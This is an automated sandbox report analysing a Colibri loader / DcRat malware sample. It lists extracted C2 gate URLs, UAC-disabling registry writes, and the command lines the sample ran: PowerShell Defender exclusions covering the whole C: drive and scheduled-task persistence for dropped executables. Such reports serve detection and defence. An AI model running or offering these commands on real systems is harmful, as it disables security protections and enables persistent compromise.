colibri | 6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
17-10-2022 05:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Size

4.9MB
MD5

3853eeaac891a4cefed467a48599ed56
SHA1

83611ff9b18910db848187cbddf9c907c044c6f1
SHA256

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4
SHA512

7f3f785358671ef8934c5b4376ddab04c54758b78938505a8b6826bcb595422755f45c826af4aff06e0273a2e4f4ecb8363843498a9cb102940e5b9c09802654
SSDEEP

49152:rl5MTGChZpxtlBBgxchXb/zqP6DUtRgs5q289dAnSz44hnW1XgnYu6fYmPkMSx8E:

Score

10^/10

colibri dcrat build1 evasion infostealer loader rat trojan

Malware Config

Extracted

Family

colibri

Version

1.2.0

Botnet

Build1

http://zpltcmgodhvvedxtfcygvbgjkvgvcguygytfigj.cc/gate.php

http://yugyuvyugguitgyuigtfyutdtoghghbbgyv.cx/gate.php

Signatures

Colibri Loader
A loader sold as MaaS first seen in August 2021.
loader colibri
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 21 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4888	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4772	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1664	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4720	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4640	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4964	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4064	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4348	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1732	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1644	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4512	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1224	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4832	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4300	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4032	3932	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4284	3932	schtasks.exe

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exeSearchApp.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SearchApp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SearchApp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SearchApp.exe

Executes dropped EXE 7 IoCs

Processes:

tmp70A2.tmp.exetmp70A2.tmp.exetmp70A2.tmp.exeSearchApp.exetmpB52C.tmp.exetmpB52C.tmp.exetmpB52C.tmp.exe

pid process

4664 tmp70A2.tmp.exe
4588 tmp70A2.tmp.exe
4404 tmp70A2.tmp.exe
1616 SearchApp.exe
4724 tmpB52C.tmp.exe
4788 tmpB52C.tmp.exe
2492 tmpB52C.tmp.exe

pid	process
4664	tmp70A2.tmp.exe
4588	tmp70A2.tmp.exe
4404	tmp70A2.tmp.exe
1616	SearchApp.exe
4724	tmpB52C.tmp.exe
4788	tmpB52C.tmp.exe
2492	tmpB52C.tmp.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exeSearchApp.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	SearchApp.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exeSearchApp.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SearchApp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SearchApp.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 ipinfo.io
24 ipinfo.io

flow	ioc
23	ipinfo.io
24	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

Processes:

tmp70A2.tmp.exetmpB52C.tmp.exe

description	pid	process	target process
PID 4588 set thread context of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4788 set thread context of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe

Drops file in Program Files directory 4 IoCs

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\Java\Java Update\backgroundTaskHost.exe	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File created	C:\Program Files (x86)\Common Files\Java\Java Update\backgroundTaskHost.exe	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File created	C:\Program Files (x86)\Common Files\Java\Java Update\eddb19405b7ce1	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File opened for modification	C:\Program Files (x86)\Common Files\Java\Java Update\RCX7F8C.tmp	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe

Drops file in Windows directory 4 IoCs

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe

description	ioc	process
File created	C:\Windows\en-US\RuntimeBroker.exe	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File created	C:\Windows\en-US\9e8d7a4ca61bd9	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File opened for modification	C:\Windows\en-US\RCX7A2B.tmp	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
File opened for modification	C:\Windows\en-US\RuntimeBroker.exe	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
4640	schtasks.exe
1600	schtasks.exe
4964	schtasks.exe
3188	schtasks.exe
4888	schtasks.exe
4348	schtasks.exe
1732	schtasks.exe
4284	schtasks.exe
1664	schtasks.exe
4144	schtasks.exe
4064	schtasks.exe
4832	schtasks.exe
4772	schtasks.exe
4720	schtasks.exe
4480	schtasks.exe
4092	schtasks.exe
1644	schtasks.exe
4512	schtasks.exe
1224	schtasks.exe
4300	schtasks.exe
4032	schtasks.exe

Modifies registry class 2 IoCs

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exeSearchApp.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	SearchApp.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeSearchApp.exe

pid	process
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
1928	powershell.exe
1928	powershell.exe
1988	powershell.exe
1988	powershell.exe
1080	powershell.exe
1080	powershell.exe
744	powershell.exe
744	powershell.exe
1656	powershell.exe
1656	powershell.exe
1932	powershell.exe
1932	powershell.exe
2104	powershell.exe
2104	powershell.exe
4968	powershell.exe
4968	powershell.exe
4328	powershell.exe
4328	powershell.exe
1416	powershell.exe
1416	powershell.exe
4452	powershell.exe
4452	powershell.exe
3400	powershell.exe
3400	powershell.exe
1928	powershell.exe
1928	powershell.exe
1988	powershell.exe
1988	powershell.exe
1080	powershell.exe
1080	powershell.exe
2104	powershell.exe
1656	powershell.exe
1932	powershell.exe
744	powershell.exe
4452	powershell.exe
4328	powershell.exe
4968	powershell.exe
1416	powershell.exe
3400	powershell.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe
1616	SearchApp.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

SearchApp.exe

pid process

1616 SearchApp.exe

pid	process
1616	SearchApp.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	1616	SearchApp.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

SearchApp.exe

pid process

1616 SearchApp.exe

pid	process
1616	SearchApp.exe

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exetmp70A2.tmp.exetmp70A2.tmp.execmd.exeSearchApp.exetmpB52C.tmp.exetmpB52C.tmp.exe

description	pid	process	target process
PID 4920 wrote to memory of 4664	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	tmp70A2.tmp.exe
PID 4920 wrote to memory of 4664	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	tmp70A2.tmp.exe
PID 4920 wrote to memory of 4664	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	tmp70A2.tmp.exe
PID 4664 wrote to memory of 4588	4664	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4664 wrote to memory of 4588	4664	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4664 wrote to memory of 4588	4664	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4588 wrote to memory of 4404	4588	tmp70A2.tmp.exe	tmp70A2.tmp.exe
PID 4920 wrote to memory of 1988	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1988	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1928	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1928	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1080	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1080	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 744	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 744	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1656	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1656	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1932	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1932	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4968	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4968	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 2104	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 2104	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1416	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 1416	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4452	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4452	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4328	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 4328	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 3400	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 3400	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	powershell.exe
PID 4920 wrote to memory of 2500	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	cmd.exe
PID 4920 wrote to memory of 2500	4920	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe	cmd.exe
PID 2500 wrote to memory of 4300	2500	cmd.exe	w32tm.exe
PID 2500 wrote to memory of 4300	2500	cmd.exe	w32tm.exe
PID 2500 wrote to memory of 1616	2500	cmd.exe	SearchApp.exe
PID 2500 wrote to memory of 1616	2500	cmd.exe	SearchApp.exe
PID 1616 wrote to memory of 4724	1616	SearchApp.exe	tmpB52C.tmp.exe
PID 1616 wrote to memory of 4724	1616	SearchApp.exe	tmpB52C.tmp.exe
PID 1616 wrote to memory of 4724	1616	SearchApp.exe	tmpB52C.tmp.exe
PID 4724 wrote to memory of 4788	4724	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4724 wrote to memory of 4788	4724	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4724 wrote to memory of 4788	4724	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 4788 wrote to memory of 2492	4788	tmpB52C.tmp.exe	tmpB52C.tmp.exe
PID 1616 wrote to memory of 4592	1616	SearchApp.exe	WScript.exe
PID 1616 wrote to memory of 4592	1616	SearchApp.exe	WScript.exe
PID 1616 wrote to memory of 4772	1616	SearchApp.exe	WScript.exe
PID 1616 wrote to memory of 4772	1616	SearchApp.exe	WScript.exe

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

Processes:

6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exeSearchApp.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SearchApp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SearchApp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SearchApp.exe

C:\Users\Admin\AppData\Local\Temp\6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe
"C:\Users\Admin\AppData\Local\Temp\6bdcafe45540c9492882c077ad121ff6abc704eb2e547aa776de18da65a51ef4.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4920

C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4664

C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4588

C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp70A2.tmp.exe"
4⤵
- Executes dropped EXE
PID:4404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3400

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\mftNZ3WrbF.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
3⤵
PID:4300

C:\odt\SearchApp.exe
"C:\odt\SearchApp.exe"
3⤵
- UAC bypass
- Executes dropped EXE
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1616

C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4724

C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4788

C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpB52C.tmp.exe"
6⤵
- Executes dropped EXE
PID:2492

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\426cc64b-8fc2-4efa-8774-f1f53e90e6b5.vbs"
4⤵
PID:4592

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31a2ea8e-3616-40ef-ace8-e691c7aaab65.vbs"
4⤵
PID:4772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 12 /tr "'C:\odt\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\odt\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\odt\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4480

C:\Windows\system32\schtasks.exe
